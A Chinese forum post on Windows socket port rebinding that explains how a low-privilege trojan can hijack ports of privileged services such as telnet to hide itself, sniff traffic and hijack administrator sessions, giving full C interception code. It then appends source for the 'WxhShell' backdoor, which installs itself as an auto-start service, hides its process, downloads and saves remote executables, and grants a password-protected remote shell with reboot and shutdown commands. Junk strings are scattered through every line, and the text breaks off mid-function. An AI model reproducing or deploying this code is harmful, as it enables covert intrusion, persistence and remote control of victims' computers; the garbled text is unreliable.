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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: fs2m N1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Mv/IMO0rR  
90  
  saddr.sin_family = AF_INET; k%EWkM)?  
egZyng pB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); V;>9&'Z3  
L Yh@ u1p  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); pchQ#GU  
i_ |9<7a  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }Kv h`@CiJ  
Nd]0ta  
  这意味着什么?意味着可以进行如下的攻击: 4)3g!o ?  
&ui:DZAxj|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jGO9n  
P1(8U%   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tj#=%m?8V;  
K(-G: |  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Zvd ;KGO(a  
r+imn&FK8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  g8%MOhg  
e+NWmu{<_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?60>'Xj j  
,bB( 24LD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Si#"Wn?|  
o\_ Td  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X4d Xm>*?=  
gbYLA a  
  #include > ]>0KQfO  
  #include D3<IuWeM  
  #include 4^ c!_K&&  
  #include    x1|Da$2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;V|M3  
  int main() l%^h2 o  
  { o `b`*Z  
  WORD wVersionRequested; 6!4';2Q  
  DWORD ret; Dl0/-=L  
  WSADATA wsaData; pBlRd{#fL  
  BOOL val; (3e;"'k  
  SOCKADDR_IN saddr; WuBmdjZ  
  SOCKADDR_IN scaddr; * <B)Z  
  int err; IkSX\*  
  SOCKET s; e{v,x1Y_z(  
  SOCKET sc; L@7Qs6G2u  
  int caddsize; pwa.q  
  HANDLE mt; _L$)2sl1R  
  DWORD tid;   v*&Uk '4E  
  wVersionRequested = MAKEWORD( 2, 2 ); Vh 2Bz  
  err = WSAStartup( wVersionRequested, &wsaData ); hmc\|IF`  
  if ( err != 0 ) { 1Z\(:ab13  
  printf("error!WSAStartup failed!\n"); 5gO /-Zj  
  return -1; %l Q[dXp  
  } J$1j-\KS  
  saddr.sin_family = AF_INET; N YCj; ,V  
   5){tBK|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 zx ct(  
q]F4Lq(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); EYA/CI   
  saddr.sin_port = htons(23); q!ee g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MzG5u<D  
  { 1v;'d1Hg;  
  printf("error!socket failed!\n"); $8jaapNm@  
  return -1; d/l,C4p  
  } 6,B-:{{e"  
  val = TRUE; ?lF mXZy`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \|v`l{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V@B7 P{gH  
  { `Ac:f5a  
  printf("error!setsockopt failed!\n"); +T-@5 v[  
  return -1; YKc>6)j  
  } )V=0IZi  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; V{43HA10b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xC<R:"Mn  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |a%B|CX  
5i|s>pD4z1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ):/,w!1  
  {  ~q*i;*  
  ret=GetLastError(); PoJmW^:}  
  printf("error!bind failed!\n"); `tX@8|  
  return -1; 3voW  
  } q5%2WM]6  
  listen(s,2); Q6u{@$(/N  
  while(1) a[q84[OQ  
  { D)y{{g*Lnm  
  caddsize = sizeof(scaddr); PXa5g5 !  
  //接受连接请求 [w,(EE   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +yGY 785b  
  if(sc!=INVALID_SOCKET) xtOx|FkYcl  
  { R|-6o)$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Sc$gnUYD{  
  if(mt==NULL) q1H~ |1  
  { 9t#P~>:jY}  
  printf("Thread Creat Failed!\n"); t @;WgIp(&  
  break; 7LG+$LEz  
  } %Nl`~Kz9U  
  } AU/#b(mI  
  CloseHandle(mt); itw{;j   
  } )^&,Dj   
  closesocket(s); <]~ZPk[  
  WSACleanup(); Og=[4?Kpk  
  return 0; 4e}{$s$Xx  
  }   *vb^N0P  
  DWORD WINAPI ClientThread(LPVOID lpParam) n|6?J_{<b>  
  { 'm[6v}  
  SOCKET ss = (SOCKET)lpParam; 2%5?F n=  
  SOCKET sc; %Mh Q  
  unsigned char buf[4096]; <3lUV7!  
  SOCKADDR_IN saddr; l"kx r96  
  long num; c!mG1lwD.  
  DWORD val; "@4ghot t  
  DWORD ret; :VJV5f{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 N ,+(>?yE  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   * flWL  
  saddr.sin_family = AF_INET; r?\|f:M3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )AJ=an||5  
  saddr.sin_port = htons(23); wEE2a56L-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6p#g0t  
  { EA6t36|TX  
  printf("error!socket failed!\n"); +GYS26  
  return -1; W+.{4 K  
  } inZi3@h)T  
  val = 100; jM]d'E?ZLA  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ALfiR(!  
  { 3^XVQS***  
  ret = GetLastError(); t=Jm|wJnUA  
  return -1; 3|zgDA  
  } ,7<DGI_y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5Q|sta!  
  { c8<xFvYG  
  ret = GetLastError(); *!Y- !  
  return -1; b_|u<  
  } G,=F<TnI'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Hng!'  
  { 7D   
  printf("error!socket connect failed!\n");  #I;D  
  closesocket(sc); qcYNtEs*c  
  closesocket(ss); y+A{Y  
  return -1; tfA}`*$s  
  } %kq ^]S2O  
  while(1) yc[(lq.^n  
  { g,=^'D  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 b~*i91)\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 F?cq'd  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x/xb1"  
  num = recv(ss,buf,4096,0); srK53vKMHW  
  if(num>0) =-Nsc1&  
  send(sc,buf,num,0); ;\x~'@  
  else if(num==0) wdwp9r  
  break; L7}i q0  
  num = recv(sc,buf,4096,0); LQqfi ~  
  if(num>0) =T4u":#N;  
  send(ss,buf,num,0); ] IS;\~  
  else if(num==0) 1[s0Lz  
  break; iX%n0i  
  } +xZQJeKb  
  closesocket(ss); IC/Q  
  closesocket(sc); \_ 9rr6^ "  
  return 0 ; L,$3Yj  
  } =m9i)Q  
) |MJnx9  
oNIFx5*Z  
========================================================== 3$_*N(e  
7}%H2$Do  
下边附上一个代码,,WXhSHELL ybE[B}pOeZ  
bAiJn<  
========================================================== # $~ oe"  
cIb4-TeV  
#include "stdafx.h" M|8 3HTJ  
5)`h0TK  
#include <stdio.h> ('4wXD]C  
#include <string.h> ,9\Snn  
#include <windows.h> K6B4sE  
#include <winsock2.h> 8teJ*sz  
#include <winsvc.h> n=o_1M|  
#include <urlmon.h> ezn` _x_?  
$P nLG]X  
#pragma comment (lib, "Ws2_32.lib") \[ M_\&GC  
#pragma comment (lib, "urlmon.lib") Kam]Mn'  
f-D>3qSS  
#define MAX_USER   100 // 最大客户端连接数 p411 `]Zf  
#define BUF_SOCK   200 // sock buffer jct./arK  
#define KEY_BUFF   255 // 输入 buffer )Gb,^NGr  
7@l<? (  
#define REBOOT     0   // 重启 ="'- &  
#define SHUTDOWN   1   // 关机 PsbG|~  
2h q>T&8  
#define DEF_PORT   5000 // 监听端口 !Lkm? (_  
h e&V# #  
#define REG_LEN     16   // 注册表键长度 8+&JQ"UaB  
#define SVC_LEN     80   // NT服务名长度 Hb!6Z EmN%  
>DP:GcTG  
// 从dll定义API 3=- })X ;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >1ZJ{se  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6P*O&1hv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sS9%3i/>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TzKK;(GX  
wkBL=a  
// wxhshell配置信息 bfdVED  
struct WSCFG { z"UPyW1?  
  int ws_port;         // 监听端口 _a5(s2wq+  
  char ws_passstr[REG_LEN]; // 口令 ,2,5Odrz  
  int ws_autoins;       // 安装标记, 1=yes 0=no x=*L-  
  char ws_regname[REG_LEN]; // 注册表键名 e&1 \'Zq?>  
  char ws_svcname[REG_LEN]; // 服务名 Mu2`ODe]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }C,O   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;Z9IZ~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Uc&iZFid2K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C-w5KW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mQr0sI,o]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8\# ^k#X  
#SnvV  
}; Uf$i3  
X+l'bp]Ry  
// default Wxhshell configuration :E'P7A  
struct WSCFG wscfg={DEF_PORT, O+"ac /r  
    "xuhuanlingzhe", 62\&RRB i  
    1, XYfv(y  
    "Wxhshell", %|+E48  
    "Wxhshell", q3S+Y9L  
            "WxhShell Service", ST;t, D:  
    "Wrsky Windows CmdShell Service", &&7r+.Y  
    "Please Input Your Password: ", o~1 Kp!U  
  1, f*fE};  
  "http://www.wrsky.com/wxhshell.exe", &HDP!SLS  
  "Wxhshell.exe" WG5W0T_  
    }; B42sb_  
BsLG^f  
// 消息定义模块 W^3;F1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1@_T  m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n:4uA`Vg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z cpmquf8L  
char *msg_ws_ext="\n\rExit."; /3B6 Mtb  
char *msg_ws_end="\n\rQuit."; 1%`7.;!i  
char *msg_ws_boot="\n\rReboot..."; b{5K2k&,  
char *msg_ws_poff="\n\rShutdown..."; Tlodn7%",  
char *msg_ws_down="\n\rSave to "; ]KuMz p!  
ln<]-)&C  
char *msg_ws_err="\n\rErr!"; 6rX_-Mm6w  
char *msg_ws_ok="\n\rOK!"; Xy7Z38G  
jd:B \%#![  
char ExeFile[MAX_PATH]; 1RqgMMJL  
int nUser = 0; ax|1b`XUr"  
HANDLE handles[MAX_USER]; k;Fh4Hv  
int OsIsNt; \40 YGFO  
L1 #Ij#  
SERVICE_STATUS       serviceStatus; bx}fj#J]En  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p#@Z$gTH`'  
)/|6'L-2  
// 函数声明 shgAhx  
int Install(void); ^gYD*K!*  
int Uninstall(void); CxF-Z7 '  
int DownloadFile(char *sURL, SOCKET wsh); gEJi[E@  
int Boot(int flag); _[K#O,D,  
void HideProc(void); aGoE,5  
int GetOsVer(void); 7r 0,> 3"  
int Wxhshell(SOCKET wsl); 0KvVw rWJ  
void TalkWithClient(void *cs); ,1 UZv>}S  
int CmdShell(SOCKET sock); #T3 h}=  
int StartFromService(void); 11UB4CA  
int StartWxhshell(LPSTR lpCmdLine); tIuoD+AW  
n$["z w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %y<]Yzv.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jirbUl  
$_X|, v9  
// 数据结构和表定义 23ze/;6%A  
SERVICE_TABLE_ENTRY DispatchTable[] = i7Z=|&  
{ ]axh*J3`i  
{wscfg.ws_svcname, NTServiceMain}, ZafboqsDL  
{NULL, NULL} %0-wpuHc(]  
}; Lm%GR[tyQ  
w4:\N U  
// 自我安装 =f7r69I"  
int Install(void) {nMAm/kyj  
{ }!d;(/)rb  
  char svExeFile[MAX_PATH]; *}! MOqP  
  HKEY key; '0t-]NAc  
  strcpy(svExeFile,ExeFile); %[QV,fD'E  
}e]f  
// 如果是win9x系统,修改注册表设为自启动 KfY$ka[}"S  
if(!OsIsNt) { ,,<PVTd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uCP>y6I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rrBAQY|.  
  RegCloseKey(key); Mz=!w]qDH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HOi C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E]} n(  
  RegCloseKey(key); .dmi#%W  
  return 0; l!~ mxUb  
    } BavO\{J#|0  
  } SpSnoVI  
} NgZUnh3{  
else { z1V#'$_5-  
6Y384  
// 如果是NT以上系统,安装为系统服务 5OP`c<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lWZuXb,G  
if (schSCManager!=0) #D%ygh=  
{ *cv}*D  
  SC_HANDLE schService = CreateService u{f* M,k  
  ( )Y]/^1hx  
  schSCManager, 5#JJ?  
  wscfg.ws_svcname, Q<"[C 1Lj  
  wscfg.ws_svcdisp, CAc %f9!3  
  SERVICE_ALL_ACCESS, eE]hy'{d<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,?-\ x6  
  SERVICE_AUTO_START, &#m"/g7w4N  
  SERVICE_ERROR_NORMAL, !~iGu\y  
  svExeFile, vS?odqi#n  
  NULL, xytr2V ]aV  
  NULL, ;N=G=X|}  
  NULL, Ug"rJMZG  
  NULL, ! . HnGb+  
  NULL [`_io>*g  
  ); :+&AY2`  
  if (schService!=0) @R2at  
  { 0@=MOGQb  
  CloseServiceHandle(schService); H AB#pd9  
  CloseServiceHandle(schSCManager); eE8ULtO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uG J"!K  
  strcat(svExeFile,wscfg.ws_svcname); sd0r'jb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x4K`]Fvhl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }IkQA#4$  
  RegCloseKey(key); HZ"Evl|n  
  return 0; nBLj [  
    } ]s1 YaNq  
  } a P()|js  
  CloseServiceHandle(schSCManager); A.%CAGU5w  
} B |{I:[  
} 3:CO{=`\7B  
;h/pnmhP  
return 1; =hH.zrI6e  
} 5z/Er".P  
)mN9(Ob!  
// 自我卸载 zY9 H%  
int Uninstall(void) 0Bolv_e  
{ XSRdqU>Aun  
  HKEY key; X" R<J#4  
mxG]kqi  
if(!OsIsNt) { g@v s*xE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fP-|+Ty O  
  RegDeleteValue(key,wscfg.ws_regname); dE=Ue#1U@5  
  RegCloseKey(key); 8HErE< _(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  Qo0H  
  RegDeleteValue(key,wscfg.ws_regname); r0dDHj~F  
  RegCloseKey(key); lX!`zy{3k  
  return 0; 6j9)/H P  
  } U9d:@9Y  
} }ZOFYu0f  
} @ GDX7TPV  
else { QB{rVI>mI!  
=_TaA(79  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %1U`@0  
if (schSCManager!=0) {U11^w1"3  
{ C?Zw6M+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Sr.;GS5i  
  if (schService!=0) U]4pA#*{|  
  { MBr:?PE7  
  if(DeleteService(schService)!=0) { iZ,YxN<R  
  CloseServiceHandle(schService); \}]iS C.2  
  CloseServiceHandle(schSCManager); 2&(sa0*y  
  return 0; ?/#}ZZK^  
  } quu*xJ;Ci  
  CloseServiceHandle(schService); \+PIe7f_  
  } BN_7Ay/k  
  CloseServiceHandle(schSCManager); 5i So8*9}  
} (Ye>Cp+]  
} jx`QB')kX  
3K0tC=  
return 1; `iShJz96  
} JC;^--0(z  
_GtBP'iN  
// 从指定url下载文件 \l#>dq"Y  
int DownloadFile(char *sURL, SOCKET wsh) 0lk;F  
{ hP@(6X,"  
  HRESULT hr; wo^Sy41bF  
char seps[]= "/"; (&\aA 0-}H  
char *token; ;e8V +h  
char *file; ik,lSTBD  
char myURL[MAX_PATH]; in%;Eqk  
char myFILE[MAX_PATH]; PH4%R]{8{  
Wa"(m*hW  
strcpy(myURL,sURL); R!x: C!{  
  token=strtok(myURL,seps); 7 6fIC  
  while(token!=NULL) L#h:*U{@40  
  { vR7HF*8  
    file=token; k!XhFWb  
  token=strtok(NULL,seps); ~4,I7c7  
  } ><?BqRm+  
`m~syKz4A  
GetCurrentDirectory(MAX_PATH,myFILE); V`hu,Y;%  
strcat(myFILE, "\\"); e_3CSx8Cc  
strcat(myFILE, file); xl4=++pu)  
  send(wsh,myFILE,strlen(myFILE),0); QP I+y8N=  
send(wsh,"...",3,0); ctmQWrk|B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u62)QJE  
  if(hr==S_OK) -#&kYK#Ph  
return 0; ,t$,idcT+  
else kUHE\L.Y]  
return 1; /FY2vDfU6  
^C^*,V3  
} 'C+;r?1!h  
Yn51U6_S  
// 系统电源模块 &%aXR A#+  
int Boot(int flag) vlWw3>4  
{ !UBO_X%dz  
  HANDLE hToken; V1=*z  
  TOKEN_PRIVILEGES tkp; =H]F`[B=  
"kW!{n  
  if(OsIsNt) { TJ@Cjy%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {OMg d3%14  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FcbM7/  
    tkp.PrivilegeCount = 1; %kI} [6J_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w2gf&Lc\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [pOg'  
if(flag==REBOOT) { h+7>#*DH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /L=(^k=a.;  
  return 0; 3HV%4nZLf  
} yYJY;".H  
else { Al"3 kRJJ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P.WYTst=  
  return 0; M++0zhS  
} ENh8kD l5  
  } i^Ut015q%  
  else { |KCOfVh?|.  
if(flag==REBOOT) { m7]hJ,0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c$E)P$<j  
  return 0; `i!wq&1g7  
} > dZ3+f  
else { !4#"!Md4o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DtCEm(b0  
  return 0; 8pZ< 9t'  
} =o dkz}bU  
} >O`l8tM  
eBW=^B"y+  
return 1; Jcf"#u-Q/  
} $+= <(*  
T8J4C=?/  
// win9x进程隐藏模块 K\! #4>yd  
void HideProc(void) C*Vd-U  
{ l)8&Ip  
< +`(\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,i}|5ozj4  
  if ( hKernel != NULL ) \|= mD}N  
  { 6o&ZIYJ9k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oh8L`=>&a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PBqy F  
    FreeLibrary(hKernel); hXL|22>w<  
  } gvavs+H%  
cA`4:gp  
return; ~4#B'Gy[  
} Wsz0yHD[`  
 .jg0a  
// 获取操作系统版本 j.?:Gaab?#  
int GetOsVer(void) w_-+o^  
{ 1TJ0D_,  
  OSVERSIONINFO winfo; s&PM,BFf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |w&~g9   
  GetVersionEx(&winfo); uGtV}-t:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 93%{scrm  
  return 1; <-C!;Ce{  
  else BNm4k7 ]M  
  return 0; 7ET jn)%bs  
} GuQRn  
%uDG75KP{  
// 客户端句柄模块 JNU/`JN9f  
int Wxhshell(SOCKET wsl) I2Ev~!  
{ TRvZ  
  SOCKET wsh; cgZaPw2 bw  
  struct sockaddr_in client; D@54QJ<  
  DWORD myID; J\co1kO9/  
n@>wwp  
  while(nUser<MAX_USER) $^%N U  
{ 0%C^8%(x  
  int nSize=sizeof(client); A*]$v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8v_C5d\  
  if(wsh==INVALID_SOCKET) return 1; x1[?5n6  
S>:,z}i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =]>%t]  
if(handles[nUser]==0) 4*H"Z(HP  
  closesocket(wsh); 7} O;FX+x  
else -$k>F#  
  nUser++; xF8S*,#,*  
  } I}0_nge  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J1F{v)T '?  
j'rS&BI G  
  return 0; m2bDHQ+  
} 6qp5Xt+  
I44s(G1j l  
// 关闭 socket )/t6" "  
void CloseIt(SOCKET wsh) 440FhD Mj  
{ 7!4V >O8@  
closesocket(wsh); >.%4~\U  
nUser--; Epjff@ 7A  
ExitThread(0); kA?_%fi1  
} E%pz9gcSx  
H oy7RC&  
// 客户端请求句柄 RIy\u >  
void TalkWithClient(void *cs) r|Zi3+  
{ ]r"Yqv3  
Zr/r2  
  SOCKET wsh=(SOCKET)cs; gQVBA %  
  char pwd[SVC_LEN]; e1(h</MU2  
  char cmd[KEY_BUFF]; RXSf,O  
char chr[1]; __N.#c/l{  
int i,j; !vqC+o>@  
N+Sq}hI  
  while (nUser < MAX_USER) { s;.=5wcvi?  
R,0Oq5  
if(wscfg.ws_passstr) { $Xf(^K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :=.*I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !k&)EWP?  
  //ZeroMemory(pwd,KEY_BUFF); ~l4f{uOD>]  
      i=0; F8mC?fbK9  
  while(i<SVC_LEN) { Yv\!vW7I  
TUTe9;)  
  // 设置超时 |r =DBd3  
  fd_set FdRead; ExhL[1E  
  struct timeval TimeOut; HtBF=Boq  
  FD_ZERO(&FdRead); &a #GXf  
  FD_SET(wsh,&FdRead); \HSicV#i  
  TimeOut.tv_sec=8; z1j|E :  
  TimeOut.tv_usec=0; szq+@2:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4<gJ2a3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f\o R:%  
/&s}<BMHU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y`li> .\  
  pwd=chr[0]; MOZu.NmO  
  if(chr[0]==0xd || chr[0]==0xa) { otriif@+Z  
  pwd=0; zB)%lb  
  break; s (PY/{8  
  } >;lKLGJrd>  
  i++; \Ow,CUd  
    } vA>W9OI   
,b.n{91[]x  
  // 如果是非法用户,关闭 socket zy)i1d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZgYZwc&-  
} 'D6 bmz  
_Z#eS/,O@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8&(-8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fPQ|e"?  
F=Y S^  
while(1) { )/Y~6A9>  
X>3^a'2,E  
  ZeroMemory(cmd,KEY_BUFF); iJnh$jo  
h|W%4|]R)  
      // 自动支持客户端 telnet标准   /~hbOs/ L  
  j=0; 2VYvO=KA  
  while(j<KEY_BUFF) { UKs$W`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g [L  
  cmd[j]=chr[0]; htHv&  
  if(chr[0]==0xa || chr[0]==0xd) { n`<S&KP|  
  cmd[j]=0; eV;me>,  
  break; G11cNr>*  
  } 2ksA.,UB^9  
  j++; )Vk:YL++  
    } qi\n]I  
rO^xz7K^  
  // 下载文件 2%YXc|gGT  
  if(strstr(cmd,"http://")) { D rS?=C@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^, wnp@  
  if(DownloadFile(cmd,wsh)) m5gI~1(9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oxa5Kfpa  
  else el*9 Ih  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~3 @*7B5Q  
  } Czu1)y  
  else { *8-p7,D  
otnV-7)@  
    switch(cmd[0]) { 0vckoE  
  _S5gcPcF"  
  // 帮助 V/-MIH7SF  
  case '?': { -1mvhR~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d}% (jJ(I  
    break; `o-*Tr  
  } 6\`DlUn'*  
  // 安装 ^x3EotQ\  
  case 'i': { z93nYY$`Y  
    if(Install()) ;&mxqY8`'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6ZgNHARS  
    else ZNy9_a:dX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I9/KM4&  
    break; %UG/ak%z  
    } )E~mJln  
  // 卸载 t aV|YP$  
  case 'r': { ha>SZnKD{  
    if(Uninstall()) <9N4"d !A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IUawdB5CB  
    else ,.7vBt6 p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !E0fGh  
    break; MPG+B/P&  
    } g RU-g  
  // 显示 wxhshell 所在路径 )@$ &FFIu  
  case 'p': { $i%HDt|  
    char svExeFile[MAX_PATH]; m3"c (L`B  
    strcpy(svExeFile,"\n\r"); dqz1xQ1  
      strcat(svExeFile,ExeFile); E{oB2;P  
        send(wsh,svExeFile,strlen(svExeFile),0); swt\Ru6,  
    break; 4k*qVOBa6R  
    } %mmxA6I  
  // 重启 *-7fa0<  
  case 'b': { i-"<[*ePd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F*!gzKZ"  
    if(Boot(REBOOT)) \7DCwu[0M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hU+#S(t>b  
    else { p XNtN5@FQ  
    closesocket(wsh); Cz[5Ug'V  
    ExitThread(0); ~Jxlj(" 0(  
    } B3 .X}ys#  
    break; o@',YF>OQ  
    } s kY0\V  
  // 关机 H<z30r/-w  
